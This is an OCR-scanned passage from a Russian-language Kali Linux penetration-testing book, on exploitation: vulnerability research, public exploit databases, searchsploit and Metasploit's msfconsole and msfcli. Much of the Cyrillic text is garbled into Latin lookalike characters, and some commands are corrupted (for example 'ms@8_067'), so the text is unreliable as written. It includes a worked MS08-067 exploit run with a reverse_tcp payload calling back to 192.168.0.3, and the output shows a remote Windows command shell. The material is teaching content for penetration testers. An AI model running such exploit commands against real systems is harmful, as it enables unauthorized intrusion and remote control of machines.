U MeTO/IbI (TIoIpakaHue, B3AMMHBIN 0OMEH, BIUSIHUE aBTOPUTETA U TIP.) aTaKu B COOT-
BETCTBUM C XaPAKTEPOM UCCJAEYEMOTO 00bEKTA. 3aTeM MBI PACCKA3aJIH, KaK UCITOJIH30-
Batb SET /17151 TocTpOeHMs M aBTOMATU3AITNHY TICUXOJIOTHYECKOI aTaku yepe3 VIHTepHeT.

B caremytotiieid riiaBe Mbl 00CY/IM, KaK € TIOMOIIbIO HEKOTOPBIX UHCTPYMEHTOB 1 Me-
TOJIOB MCIIOJIb30BATD BHIABJICHHbBIC HA 11€JICBOI MAITUHE YS3BUMOCTH.



LleneBas
SKCnayaTaums

l[ejzeeaﬂ IKCcnayamauus — oJ/iHa n3 O6]IaCTeI>)I, B KOTOpOﬁ, IIOMHMO OII€HKN yHSBHMOCTefI,
BBIITOJIHAECTCA TECT Ha TPOHUKHOBEHME. Tenepb, Kor/la YA3BUMOCTU Haﬁ[[eHbI, JUUI TIOJTY -
YeHMA JOCTYIIA U ITOJTHOTO KOHTPOJIA Ha/l LIeJIEBOM CUCTEMOM BBl MOKETE BOCIIOJIb30BATh-
Cs1 HAJIeHHBIMU YA3BUMOCTAMMU. B ar10i1 rnaBe Mbr pPaCcCMOTPUM METO/Ibl © THCTPYMEHTDI,
NCITOJIb3yeMbI€ V1A 9KCIJTyaTallun HaleHHbBIX YHBBI/IMOCTefI B peaJibHOM MHUDPE.

O Mol 06bsICHIM, HA 4TO 0OPATUTh BHUMAaHKE [IPU UCCIEI0BAHUN HAWIEHHBIX CIa0bIX
MECT, TIpeK/e YeM TPaHC(HOPMUPOBATh YSI3BIMOCTD B TPAKTUIECKUT KOJT OKCTIJIONTA.

O Mol HpUBEAEM TIPUMEP HECKOIBKIX PEMO3UTOPUEB OOIIEAOCTYITHBIX 9KCIJIOUTOB
7 paccKaskeM, Kak 1 KOT/[a UX MOJKHO 337IeHiCTBOBATh.

O Mpur pacckaxkeM 06 UCTOTB30BAHUK OJHOTO TT€YATHHO M3BECTHOTO MHCTPYMEHTA
€ TOYKH 3PEHUS OIEHKHU IIeJU. DTO BaM ACT YeTKoe IpeJcTaBIeHNe O TOM, KaK
MOJb30BATHCSA MHCTPYMEHTAMU [IJIS TTOJYUYEeHUS TOCTyTa K KOHMDUACHINAIBHON
undopmaiuu. B pasnene «PacimmmpeHHbIil HHCTPYMEHTAPUI 9KCILJIyaTAlniy> BB
Haiijiere HeCKOIbKO IPAKTUYEeCKUX YIIPasKHEHUN.

O B KoHII€ I7IaBbl MBI IOIIBITAEMCS KPATKO OIKCATD IIATH 10 CO3AAHUIO IIPOCTOTO MO-
JyJist 9KcIioiTa auist Metasploit.

Harmmcanne koza akcionTa ¢ HYJISI — TPYZOEMKaA U JIOPOTOCTOAIIA 3a/lava, Tpe6y-
IonrasA JOITOJTHUTEJIbHbBIX sHanuii. O6erynuts cebe pa60Ty MOJKHO, BOCIIOJIb3OBAaBIIMNCbH
O6HI€I[OCTyHHbIMI/I AKCILIONTAMU. XOTs U3MEHEHNE CTPYKTYPbI TaKOT'O AKCILJIONTA B CO-
OTBETCTBUU C IIEJIEBOI cpenoﬁ TaKKe HOTpe6y6T HEKOTOPOTrO OIIbITa. MbI HACTOSTEIHHO
PEKOMEH/AYEM BaM MCIIOJIb30BaTh B BalllUX MCIIBITAHUAX O6HI€'ZIOCTYHHBIQ 3KCH]IOI>1TH,
4TOOBI JIy4IlI€ ITOHATH, KaK HalluCaTb 1 3allyCTUTb cOOCTBEHHBII KO AKCILIONTA.

lccnepoBaHue ya3BMMOCTH

[lonnmanue BO3MOKHOCTEN KOHKPETHOTO TPOTPAMMHOTO MJIH AIMapaTHOTO MPOAYKTa
MOJKET MOCTYKUTb OTIIPABHOM TOUKOM [IJIs1 U3YUEHUsT YSI3BUMOCTEH, BO3MOYKHO CyIIle-
CTBYIOIIIUX B 9TOM IpojiyKTe. VccienoBanue ysi3BUMOCTEl — 3a/1a4a HEIIPOCTAst, U OHA
He perraeTcs OJHUM IIeJTYKOM KHOMKOM Mbriu. Ciies0BaTesbHO, 1 IPOBEIEHMS
anasmza 6e3omacHocTr TpebyeTcst MolHas 6a3a 3HAHUT, OTIpeieIsTeMast CIIELYIOTUMI
dakTopamu.
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0O Hageiku nporpamMmmupoBaHus. /7151 aTHUECKUX XaKePOB ATO hyH/ITaMEHTAJbHBIH (hak-
TOp. VI3yueHne OCHOBHBIX KOHIICTINIT U CTPYKTYP, XapaKTEePHbIX JIJIsT II0O0TO sI3bIKa
[IPOrPAMMIPOBAHYS, TIPEIOCTABUT TECTEPY ITPEUMYIIIECTBO ITPH ITONCKE YSI3BUMOCTEIH.
BbI I0JKHBL HE TOJIBKO UMETh 6a30BbIe 3HAHUST O S3BIKAX TTPOTPAMMUPOBAHUS, HO
u pa3buparbest B paboTe TPOIeccopoB, CUCTEeMHO# mamMsaTH, 6yhepos, ykazareseit,
THTIOB JIAHHBIX, PETHCTPOB M KATIA. ITH TOHSTHSI PEATM3yeMbI TIPAKTHYECKU HA JTI0OOM
sI3bIKe IporpaMmmupoBanus, B Tom unciae C/C++, Python, Perl u Assembly.

YT0o6bl Y3HaTb OCHOBbI HaMMCaAHUS KOAA SKCMIOMTa U3 0BHapyXeHHON ys3-
BMMOCTU, noceTuTe cTpaHuuy http://www.phreedom.org/presentations/
exploitcode-development/exploit-code-development.pdf.

O Wuxkenepubiii anamus. Eie oHa obmupHast 001acTb 7151 0OHAPYKEHUST YSI3BU-
MOCTEH, KOTOPbIE MOTYT CYIIECTBOBATh B 3JIEKTPOHHOM YCTPOMCTBE, TTPOTPAMMHOM
obecriedeHnn WM CUCTeMe, yTeM aHau3a (hYyHKIMH 9TOTO YCTPOUCTBA, CTPYKTYP
u onepaiuit. Ilesib cocTouT B TOM, YTOOBI BBIBECTH KO/ M3 IAHHOW CUCTEMbI Oe3 KaKo-
ro-160 MpeIBAPUTENLHOTO 3HAHSE O €€ BHYTPEHHEH paboTe; M3YUHTh ¢¢ Ha HATMIHe
COOMHBIX CUTYAITHI, TWIOXO CIIPOEKTUPOBAHHBIX (DYHKITHII U TPOTOKOJIOB; TPOBEPUTD
TPAHUYHBIE YCJAOBUS. 3MECH MOTPEOYIOTCSI HABBIKK 0OPATHOTO MTPOEKTHPOBAHSI, TAKHE
KaK y/iaJieHue 3all[UThl aBTOPCKUX MIPAB U3 MIPOrPaMMHOTO obecriedeHust, ayiuT 6es-
OTTACHOCTH, KOHKYPEHTHAS TEXHWUYECKas Pa3Be/lKa, BBISBICHNE HAPYIICHUS TTaTEHT-
HBIX [IPaB, CIOCOGHOCTH K B3AMMOIEICTBIIO, MOHUMaHUE PabOYero mporecca MpoayKTa
U oJIydeHre KoH(uaeHIManbHbIX AaHHbIX. OOpaTHOE IPOEKTUPOBaHKe 100aBIseT
/1B YPOBHS KOHIICIIIIUY JIJI U3YYEHUST KO/l IPUJIOKEHMS: ayJIUT UCXOJHOTO KOJIa
U JIBOUYHBIN ayauT. [{uzacceMbJiepbl U IEKOMITAIISITOPBI — JIBa OOIIMX TUTIA MHCTPY-
MEHTOB, KOTOPBIE MOTYT [TOMOYb ay/JINTOPY B ABOMYHOM aHasuse. J{usacceMbepsr re-
HEPUPYIOT KO/ COOPKH 13 CKOMITUIINPOBAHHO IBOMYHON TIPOTPAMMABI, B TO BPEMsT KaK
JIEKOMITUJIITOPBI TeHEPUPYIOT KO/ SI3bIKA BBICOKOTO YPOBHS U3 CKOMITMJIMPOBAHHOM
JBOUYHOI mporpamMmbl. OiHako paboTa ¢ JT0OBIM U3 9THX HHCTPYMEHTOB SIBJISIETCS
JIOBOJIBHO CJIOKHO# 1 TpeOyeT 3HAaHUHN U TIATENbHOI OI[eHKH.

O HucTrpyMeHTandbHBbIEe cpeAcTBa. Takue cpelcTBa, Kak OTJIAYUKU, 3KCTPAKTOPDI
JIAHHBIX, 3aTYMAaHUBATEH, IPOMUIUPOBIIUKY, TPOCMOTPIIUKU KOJIA, AHATU3ATO-
PBI IIOTOKA U MOHUTOPBI aMSITH, UTPAIOT BasKHYIO POJIb B IIpoliecce 0OHapy KeHUst
yA3BUMOCTEN 1 06eCIIeynBalOT COrJIACOBAHHYIO CPey IS Ieieil TeCTUPOBAHMS.
OO6bsacHenne KaxI0i U3 9TUX KaTerOpUil NHCTPYMEHTOB BBIXOIUT 38 PAMKH [JAH-
HOU KHUTU. TeM He MeHee Bbl MOKeTe HAUTU HECKOJIbKO MOJIe3HbIX UHCTPYMEHTOB,
yke npucyrcrsyomux B Kali Linux. Yro6bl Bbl MOTJIM OTCIEKUBATH HOCIEIHUE
MHCTPYMEHTBI pazpaboTKu 0OpaTHOrO KOJa, Mbl HACTOSATENbHO PEKOMEHIYEM BaM
IIOCETUTh OHJIaI‘/’IH-61/16JH/10TeI<y 110 ajzipecy http://www.woodmann.com/collaborative/tools/
index.php/Category:RCE_Tools.

Q Coszganue U HCNOJIb30BaHUeE [10JI€3HONH HArPy3KU. JTO TOC/IeIHUI HIAr B HAITMCAHUN
koja Touku KoHTposs (PoC) s ysa3BUMOro ajieMenTa MpUIoKeHUs, ¢ TOMOIIBIO
KOTOPOTO TeCTep Ha IPOHMKHOBEHUE MOKET BBITIOJIHATD Ha 1[eJIeBOH MaIlIUHE 110JTh-
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30BaTesIbCKUe KOMaH/bl. M bl BOCIIOJIb3yeMCsl 3HAHUSMU YA3BUMBIX [TPUJIOKEHU I
o crauu 06pPaTHOTO TTPOEKTUPOBAHUS U TopaboTaeM KO/ 060JIOUKH ¢ MEXaHU3MOM
KOJIMPOBAHUST TaK, YTOOBI UCKIIOUUTH HETIPUEMIIEMbIE CHMBOJIBI, KOTOPBIE MOTYT
MPEsKIEBPEMEHHO 3aBEPIIUTH PabOTY IKCILIONTA.

Jl71s1 BBITIOJTHEHUS TTPOU3BOJILHOTO KOJIA MJTH KOMAH/IBI HA T1€JIEBOI cUCTeMe OYeHb
BayKHO CJIEZI0OBATD OIIPEAEIEHHOI cTpaTernu, 00ycJ0BAEHHON THUIIOM U KiaccuduKaimen
obHapyKeHHOoH ysassumocTr. Kak npodeccnonanbHblii Tectep Ha MPOHUKHOBEHNE, BbI
Beceria OyJieTe UCKaTh JIA3eHKU, KOTOPbIE IPUBEAYT K MOJYIEHUIO TOCTYMA 000JI0UKH
K I1eJIeBOI OnepalinoHHON crucTeMe. B 0/iHOM 13 ciieyonx pas/esioB TJaBbl Mbl ITPO/Ie-
MOHCTPHPYEM HECKOJIbKO clieHapuesB ¢ ppeiiMBopkoM Metasploit, B KOTOPBIX TIOKaKeM,
KaK ITPUMEHUTD 3TN METO/Ibl U UHCTPYMEHTDI.

XpaHWuLLA YS3BMMOCTEN U 3KCM/TIONTOB

Ha npoTsskeHnn MHOTHX JIeT 00TIeCTBO MEPUOANIECKU Y3HABAJIO O Psijie HallIeHHBIX
B ITO ysizBumMocTeit. HekoTopbie 13 HUX OBLIH PACKPBITHI ¢ TIOMOII[HIO KOJIa IKCILITONWTA
PoC, Ho MHOTHE 10 cUX TIOp ocTaoTcst 6e3 BHuManust. KOHKYpEeHTHAsT 9110Xa MOnCKa
0061IEIOCTYITHBIX KCIIONTOB 1 nH(OpMaIm 00 yA3BUMOCTSIX 06JIeryaeT Tectepam Ha
[IPOHUKHOBEHUE OBICTPBIN MOUCK W M3BJIEUEHIE HAUIYUIIETO TOCTYITHOTO SKCILIONTA,
KOTOPBIN MOAXOUT JIJIsSI KOHKPETHOM 11es1eBOii cicTeMHON cpe/bl. Ecam y Bac ecTh Ha-
BBIKM ITPOTPAMMHUPOBAHUA U YeTKOE TOHUMaHNe apXUTEKTYypbl KOHKpeTHOH OC, BBI
MOJKeTe TIEPEHECTH OJIMH TUTI 9KCIJIONTA Ha JAPYTO (Harpumep, apXuTekTypy Win32 na
apxuterTypy Linux). MbrI ripeoctabiisieM KOMOHHUPOBAHHBIN HAOOP OHJIANH-PEIO3UTO-
PHEB, KOTOPbIE MOTYT TIOMOUYb BaM OTCJIEKUBATE JIFOOYI0 HHPOPMAIIUIO 00 YSI3BUMOCTH
UJIN €€ DKCILIONT.

He kaxmas obHapyskeHHas ySI3BUMOCTH OblLja PacKpbiTa 00IIecTBeHHOCTH. JacTo
nHOOPMAITHST O HEKOTOPBIX YSIBBUMOCTSIX cO00IIaeTcst 6e3 Kakoro-1mbo Kojia KCIIon-
ta PoC. A 6biBaer tax, uto noapobHas urdopmaimsa 06 06GHAPYKEHHO YA3BUMOCTH
He 1peziocTasisieTcst Booobiie. [To aToil mpudnHe MHOTHE ayIUTOPBI 0E30IACHOCTH He-
PEKO KOHCYJIBTUPYIOT CPa3y HECKOJIBKO NHTEPHET-PECYPCOB.

Huske mipezicTaBiieH CIIMCOK OHTaH-0a3.

WUmsa penosutopus Appec caiita

Bugtraq SecurityFocus http://www.securityfocus.com

OSVDB Packet Stormulnerabilities https://blog.osvdb.org/

Packet Storm http://www.packetstormsecurity.org
National Vulnerability Database http://nvd.nist.gov

IBM ISS X-Force https://exchange xforce.ibmcloud.com/
US-CERT Vulnerability Notes http://www kb.cert.org/vuls

US-CERT Alerts http://www.us-cert.gov/cas/techalerts/

IIpodonicerue
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(IIpodonacenue)

Ums penosutopus Aapec caiita

SecuriTeam http://www.securiteam.com

Secunia Advisories http://secunia.com/advisories/historic/
CXSecurity.com http://cxsecurity.com

XSSed XSS-Vulnerabilities http://www.xssed.com

Security Vulnerabilities Database http://securityvulns.com

SEBUG http://www.sebug.net

MediaService Lab http://techblog.mediaservice.net
Intelligent Exploit Aggregation Network http://www.intelligentexploit.com

3/iech epevncyIeHbl TOJbKO HEKOTOPbIe HHTEPHET-PECYPChl M3 MHOKECTBA CyTIe-
cryrormux. Kali Linux mocraBsisteTcst ¢ MHTErpUPOBAHHON 0a301 JAHHBIX 9KCIIONTOB
or Offensive Security. Ha ceropHsIHuil eHb 370 06eCIeYnBaAET JOTOJTHUTEILHOE
MIPENMYIIECTBO XPAaHEHUs B Balllel crCcTeMe BCeX apXUBUPOBAHHBIX SKCILIONTOB U UX
nanbHelinee ncnoab3oBanue. YtooOwr moayuantsh goctyn Kk Exploit-DB, BormonnuTe
B TepMUHAJIe CJIEeAYIONIe KOMaH/IbL:

# cd /usr/share/exploitdb/
# vim files.csv

IDTO OTKPOET TOJIHBII CIMIUCOK IKCIIOWTOB, JOCTYITHBIX B HACTOSIIIEE BPEMs U3
Exploit-DB no agpecy /usr/share/exploitdb/platforms/directory.

JlaHHbIE AKCTIIONTHI KIacCU(UITMPOBAHBI B COOTBETCTBYIONIUX MOKATATIOTaX HA
ocnose tuna cucrembl (Windows, Linux, HP-UX, Novell, Solaris, BSD, IRIX, TRU64,
ASP, PHP u 1. 11.). BosbIiHCTBO M3 HUX ObLIN paspaboTaHbl ¢ UCIIOJIb30BAHIEM SI3bI-
koB Tporpammuposanus C, Perl, Python, Ruby, PHP. Kali Linux yse mocrasisiercst
C HECKOJIbKUMHU KOMITHJIITOPpAMU M MHTEPIIPETaTOPAMU, KOTOPBIE TTOIEPKUBAIOT BbI-
[TOJTHEHUE ATUX DKCILJIOUTOB.

Kax n3Bieub KOHKpeTHY0 MH(POPMAINIO U3 CITICKA 9KCIIIoNTOB? Vcnmonb3ys mort-
Hbie KoMaHbl Bash, BbI Moskere BoiBecTH 11000 TEKCTOBBIN (hail/l sl U3BJICYEHUS
3HAYMMBIX JaHHBIX. [IJ1s1 9T0r0 BOcmosbayiitech Searchsploit win BBeanTe B KOHCOJB
KoMaHy cat files.csv |cut -d"," -f3. Searchsploit HauHeT U3BJIEKATH CIIUCOK 3aT0-
JIOBKOB 9KCTIIIONTOB 13 (haiina files. csv. UTo6BI y3HATH OCHOBHBIE KOMAHILI 0O0IOUKH,
obparuTech 1o azpecy http://tldp.org/LDP/abs/html/index.html.

PaclUMPEHHBIA MHCTPYMEHTAPUA 3KCNyaTauum

ITo ymomuanuio B Kali Linux yske 3arpyskeHo HeCKOJIBKO JYUIIUX U CAMbIX IIEPELO-
BBIX MHCTPYMEHTOB aKcrryaTarui. QOMHUM U3 HUX sBJsieTcs iaTdopMa Metasploit
(http://www.metasploit.com). /[lajiee MbI pacckaxeM o Hell Gosee MOAPOOHO U TIPe]I-
CTaBUM DS/l CIIEHAPHEB, KOTOPbIE TIOBBICST MIPOU3BOANUTETHHOCTD 3TOTO NHCTPYMEHTA
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U YJYYIIaT Ball OMBIT TECTUPOBAHUs Ha MpoHUKHOBeHMe. DpeiiMBOpK paspaboran
Ha s13bIKe MporpaMMupoBanust Ruby u moaiep:kuBaeT MOAYIbHOCTD. DTH MEPHI TIO-
3BOJITOT UCIBITATENIO HA TPOHUKHOBEHUE, 00Iaat0NeMy XOPOITUMHI HaBBIKAMI
B NPOrPaMMUPOBAHUU, PACITUPUTD UM Pa3paboTaTh MOJAb30BATENbCKUE TJIATMHbI
U UHCTPYMEHTBI.

ApxutekTypa ppeiiMBOpKa pasjie/ieHa Ha TPU KaTeropu: 6UOGIHOTeKH, MHTEPhENch
1 MOZyJIu. B 3TOM yNpakHEHUN MBI COCPEJIOTOYNMCS Ha BO3MOKHOCTSX Pa3JIMUHbIX
unrepdeiicos u moxyJeit. arepdeiics (korcoab, CLI u GUI) B ocHoBHOM 0becrieun-
BAaIOT BHEIIHIOI ONMEPAIIMOHHYIO JIESITEBHOCTD MPH paboTe ¢ JIIOOBIM TUIIOM MOJIYJIel
(9KCITONTHI, TOJIE3HBIE HATPY3KHU, BcrioMoraTeabHble yeTpoiicTBa 1 NOP). Kasknbrit
13 TAaKUX MOJYJIEH MMeeT cBOoe HazHayeHue M (PYHKIMK, XapaKTepHbIe 7S TIpoliecca
TECTUPOBAHUS Ha TPOHUKHOBEHNE.

O Exploit (Jkcrayararus). DTOT MOAYJIb IpeacTaBisieT coboil kox PoC, paspaboran-
HBII JIJI9 UCTIOJIb30BAHUS KOHKPETHON YSI3BUMOCTH B 11€JIEBOU CUCTEME.

Q Payload (ITosiesHas Harpyska). Moy/ib npeacraBisier coO0i BpeJOHOCHBIH KO/,
TpeiHa3HAaYeHHBIH /17151 BCTpanBaHUs B 3KCIIONT. Takol BpeZIOHOCHBIN KOJT MOKET
OBITH CAMOCTOSATEHHO CKOMITUIMPOBAH JIJIST BHITIOJHEHHUS TIPOU3BOIBHBIX KOMAH]T
B 1I€JIEBOI CUCTEME.

O Auxiliaries (Ocractka). /laHHbIE MOAYJIU IPEACTABISIOT cO60M HAOOP UHCTPYMEHTOB,
paspabOTaHHBIX JIJIST BBIIIOJHEHUST CKAaHMPOBAHUS, IepeXBaTa U aHAJIN3a, 3alUTHI,
CHSITHS OTIIEYATKOB MATBIEB ¥ IPYTUX 3a]1a4 OTEHKH Oe30TaCHOCTH.

Q Encoders (JlaTurku). DT MOYJIN MIPeAHAZHAUECHBI [l TIPEOTBPAIleHHsT OGHapY-
JKeHUsT aHTUBUpPYca, 6panaMayapa, IDS /TIPS u apyrux mogo0HbIX BPeIOHOCHBIX
MIPOTPaMM ITyTeM KOAMPOBAHUS MOJE3HOH HArPy3KHW BO BPeMsI OTlepaliiny TPOHUK-
HOBEHMUSL.

O No Operation or No Operation Performed (NOP) (HeT omtepatinm nim omiepariist He BBITIOJ-
usercs ). Mozy/ib SBIseTcs MHCTPYKIEN Ha s3bIKe acceMOJiepa, 4acTo 100aBIsIeMoil
B KOl 000JIOUKH JIJIsI BBITTOJHEHUST TOJIBKO COTJIACOBAHHOTO (hparMeHTa TOJIe3HO
HarpyskHu.

Jlasee MbI 00BSICHIM OCHOBHOE Ha3HAY€eHMeE JABYX U3BecTHBIX nHTEepdeiico Metasploit
U TIPUBEJIEM COOTBETCTBYIONINE TTapaMeTPbl KOMaHIHOHN cTpoku. Kaxapiit maTepdetic
MMeeT CBOU JIOCTOMHCTBA U HeJocTaTKU. OIHAKO Mbl HACTOSATEIbHO PEKOMEH/yeM
TPUEPKUBATHCS KOHCOMBHOT BEPCHH, TTOCKOJIBKY OHA MOAIEPKIBAET OONBITIHCTBO
yHKIMI M1aTHOPMBI.

MSFConsole

MSFConsole — onun u3 cambix 9 GEKTUBHBIX BHEIIHUX MHTep(heiicoB, coaepKa-
MUH HECKOJIBKO MOINIHBIX HHCTPYMeHTOB. OH MO3BOJISIET UCIIBITATEISIM Ha TIPO-
HUKHOBEHUE JOOUTHCS MAKCUMAJbHO TTOJIb3bI TIPU HKCILIYATAIMY YSI3BUMOCTEN.
Y066l monyunth goctyn k MSFconsole, BoiGepute B ocHoBHOM MeHI0 Kali Linux
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komanjy Applications » Exploitation Tools » Metasploit (IIpusioxxenust » THCTpyMeHTHI
akcruryataiuu > Metasploit) v BBeiuTe B KOMaHIHYIO CTPOKY TEPMUHAJA W BBITIOJ-
HUTE CJICYIONIYIO KOMaH/Ly:

# msfconsole

Otkpoercst nHTEpdeiic MHTEPaKTUBHON KoHCcoIU. YToObI y3HAaTh 060 BCEX JOCTYII-
HBIX KOMaH/IaX, BBEJUTE CJIEIyIOTIee:

msf> help

Ha sxpane oro6pasurcs aBa nabopa komana. Oaud Habop 6y11eT [MIUPOKO UCIOJIb-
30BaThCs B (GPENMBOPKE, a PYTOit HaGop npejcrasisgeT coboii creranbHble KOMaH/Ibl
JUUIST TIPOTPaMMHO-aNapaTHON YacTh 6a3bl JaHHBIX, B KOTOPOU XPaHSITCS MTapaMeTpbl
OIIeHKHU U pe3yJbTarhl. IHCTPYKIMU O [PYyTUX NapaMeTpax MCIOJIb30BAHUS MOXKHO
MOJIYYUTH C ITOMOIIBIO KOMaH/IbI -h, cJeyIoleil 3a KomaH/10i core. PaccMoTpum
KOMaHZYy show:

msf> show -h

[*] valid parameters for the "show" command are: all, encoders, nops,
exploits, payloads, auxiliary, plugins, options

[*] Additional module-specific parameters are: advanced, evasion,targets,
actions

Ira KoMaH/a O6GBIYHO TPUMEHSIETCS /LISt OTOOPAKEHUST M BCeX MOJLYJIEH, WK J10-
CTYIHBIX MOJYyJiel qantoro Tumna. Hiske npuBenenbl HanboJiee 9acTo UCOJAb3yeMble
KOMaH/IbI.

O show auxiliary — 0TOOPA3UT BCE BCIIOMOTATEIbHBIE MOIYJIH.

O show exploits — 1ocJjie BBeA€HUS 9TOH KOMaH/[bl Bbl YBUAUTE CIIUCOK BCEX 9KCILION-
TOB B paMKaX UCCJIeyeMOii I1aT(OPMBbL.

O show payloads — IOKa)KeT CIMCOK TOJIE3HBIX HATPY30K /71T BeeX mmaTdopm. OmaHako
UCIIOJIb30BaHKe TOW ke KOMaH/bl B KOHTEKCTE BBIOPAHHOIO SKCILIOWTA TIPUBEAET
K BBIBOJ/IY TOJIBKO COBMECTUMBIX TI0JIE3HBIX HArpy30K. Hampumep, nosiesnbie Ha-
rpysku Windows OyayT oToOpaskaThcs TOJIBKO ¢ coBMecTUMbIMU ¢ Windows skc-
ILJIOUTaMMU.

O

show encoders — KOMaH/[a OTOOPA3UT CIUCOK JIOCTYITHBIX JATYUKOB (IHKOEPOB).

O shownops — ¢ TOMOMIBIO ATOM KOMaH/Ibl BBl YBUIUTE CITUCOK BCEX JOCTYITHBIX TeHe-
patopoB NOP.

O show options — mpegHa3HAYEHA st OTOOPAKEHUST HACTPOEK U TAPAMETPOB, JTOCTYTI-
HBIX JIJIST KOHKPETHOTO MOJLYJISL.

O show targets — KOMaH/1a TOMOJKET U3BJIeUb CIUCOK 1iesieBbiX OC, 1o/1epKIMBAEMbIX
KOHKPETHBIM MOJTYJIEM.

Q show advanced — npeaocTaBuT BaM OOJIbIIe BO3MOKHOCTEH /Il TOUHOM HACTPOUKU
BBIIIOJIHEHUS 9KCILIONTA.
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B caenyromieii Tabauie Mbl IIPEACTaBUIN KPATKUN CIMCOK HanboJiee 4acTo yIo-
TpebisieMbIX KOMaHI. Bbl MOJKeTe MCII0/Ib30BaTh KakKAyi0 U3 HUX, BBOJAA B KOHCOJIb

Metasploit.
KomaHpa OnucaHune
check ITpoBepsieT KOHKPETHBIN AKCIUIONT MTPOTHUB Ballell ysi3BUMOH 1iesin 6e3 ero

HCIOJIb30BAHN. JTa KOMaH/Ia He TTO//IEPAKUBACTCS MHOTUMU 9KCIJIONTaMU

connectip port

PaGoraer ananornuno uHerpymentam Netcat u Telnet

exploit 3aryckaer BbIOPaHHBIN HKCILIONT
run 3aryckaeT BBIOPaHHBIN BCIIOMOTATEIbHBIH MOJLYJIb
jobs [TokaspiBaeT CriMCOK BCeX 3aIyIEeHHbIX (DOHOBBIX MOy JIEi

route add subnet
netmasksessionid

HO6HB]IH€T uepe3 CKOMHpOMeTHpOBaHHbeI C€aHC MapuIpyT C 11eJIEBOro
KOMITbIOTEPA Ha KOMITBIOTEP-TECTUPOBIINK

info module

Otro6pakaet mozapobuyto utdopmalmio o koukpernom moxyJe (Exploit,
Auxiliary u . 1.)

setparam value

Hacrpausaer B TekylieM MoZyJle 3HaueHUE [1apaMeTpa

setgparam value

[TosBosisieT 3a1aTh 3HaUeHKe T100aTbHOTO TTapaMeTpa st ppeiiMBopKa.
ITu mapameTpbl OYAYT UCIOIB30BATHCSA BCEMU HKCILITORTAMI
1 BCIIOMOTATETbHBIMU MO/LYJISIMU

unsetparam Komanpa, obpatiast komarze set. Bor Taxske MokeTe cOpOCHTH Bee
nepeMeHHble cpasy, ykazas unset all

unsetgparam [To3BoJisteT yOpaTh OIHY MU HECKOIBKO TI00AIbHBIX IEPEMEHHBIX

sessions [To3BOJISIET MOKA3ATH ¥ 3aBEPIIUTH 1EJEBOI CEAHC, a TAKKE

B3aMMOJIEIICTBOBATD C HIUM. MCHOHbSyﬁTe -1 JUIA TIEpevYrcIeHuA,
-i JUUTST B3AUMOJIEVCTBUS C CEAHCOM 1 -k JUUIA €TO 3aBEPUIEHUA

search string

[TpenocraBiser cpeicTBO IMOMCKA MOy el IO UX UMEeHAM 1 ONINCAHUSM

use module

Bb160p KOHKPETHOTO MOZYJISI [UIST TECTUPOBAHMST Ha IPOHUKHOBEHHE

B caenyromux pasnesiax IpUBeICHBI TPUMEPHI MMPAKTUYECKOTO IPUMEHEHUS He-
KOTOPBIX M3 9TUX KOMaH. BaM Ba’kHO MOHSATD, KAK OHU UCIIOIB3YIOTCS C PA3JINIHBIMU
HabopamMu MoyJieii hpeiiMBOpKa.

MSFCLI

Kak n unrepdeiic MSFConsole, CLI paboTtaer ¢ pazin4HbIMU MOJYJIAMU, KOTOPbIE
MOKHO 3aIlyCTUTH B OIHOM 3K3eMIuisipe. OIHAKO eMy He XBaTaeT HOBeUIuX (hyHKIIUI
aBroMaTH3aiuu, kotopbie ectb B MSFConsole.

Yro6sr 3amyctuth msfcli, BBenTe B KOMaHAHOM CTPOKE TEPMUHAJA CJIEAYIOIYIO

KOMaH/y:

# msfcli -x
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Ona oToOpasuT Bce AOCTYIIHbIE PEKUMBI, aHasoruuHbie peskumaM MSFConsole,
a TaKKe MHCTPYKIIUH, C TTOMOIIBIO KOTOPBIX MOKHO BbI3BATb HYKHBIM MOYJIb U yCTa-
HOBUTH €ro mapamerpbl. OOpaTuTe BHUMAHNE, YTO BCE MEPEMEHHBIE WU MapaMeTPhl
JIOJKHBI COOTBETCTBOBATH YCJIOBUIO param=value, a BBOJUMbIE TTapaMETPbI 3aBUCST OT
peructpa. Huske mipezicraBier HeGOBINION TPUMEp, B KOTOPOM MbI BBIGEPEM U BBITIOJ-
HUM KOHKPETHBIN 9KCIIJIONT:

# msfcli windows/smb/ms@8_067_netapi O
[*] Please wait while we load the module tree...

Name Current Setting Required Description

RHOST yes The target address

RPORT 445 yes Set the SMB service port SMBPI

BROWSER yes The pipe name to use (BROWSER, SRVSVC)

[TapameTp O B KOHIIE IPEAbIAYILEN KOMaH/Ibl YKasbiBaeT miaTdopMe Ha 0ToOpaskeHe
JOCTYIIHBIX OIILIMHI /i1 BBIOPAHHOIO DKCILIOliTa. B ciemyromnieil KoMaHae ¢ moMOIIbIO
mapameTpa HOST MBI 3a71aeM 11esieBoit [P-azapec:

# msfcli windows/smb/ms@8_067_ netapi RHOST=192.168.0.7 P
[*] Please wait while we load the module tree...
Compatible payloads

Name Description
generic/debug_trap Generate a debug trap in the target process
generic/shell _bind_tcp Listen for a connection and spawn a command shell

Tereps, Korza Mbl ¢ TOMOIIBIO TapaMeTpa RHOST yctanoBusn [P 11es1eBoil MalimHbl,
MPUIILIO BPeMsI BEIOPATh COTIACOBAHHYIO TIOJIE3HYIO HATPY3KY U BBIIIOJTHUTH HAIIl 9KC-
IIJIONT:

# msfcli windows/smb/ms@8 067 _netapi RHOST=192.168.0.7
LHOST=192.168.0.3 PAYLOAD=windows/shell/reverse_tcp E

Please wait while we load the module tree...

Started reverse handler on 192.168.0.3:4444

Automatically detecting the target...

Fingerprint: Windows XP Service Pack 2 - lang:English

Selected Target: Windows XP SP2 English (NX)

Attempting to trigger the vulnerability...

Sending stage (240 bytes) to 192.168.0.7

Command shell session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1027)

icrosoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:WINDOWSsystem32>

[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
M

Kax BB MO’KeTE BUJIETD, TTOCJIE YCTAHOBKU TTapaMeTpa LHOST Jiuist BBIGPaHHOT 10-
JIE3HOI HArPY3KM MbI MOJIYYUJIN JOKAJIbHBII H0CTYH 000JOUKN K Halllel 1ejeBoii
MallnHe.
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Ninja 101 drills

V3 npuBeIeHHBIX BBITIE TIPIMEPOB MBI BU/IMM, 4TO MOXKEM HCIOJIBb30BaTh (HDPEHMBOPK
pasnmunbIMU criocobamu. K coskaieHuio, He Moy dnuTest OKa3aTh KayK/ bl acTekT paboThl
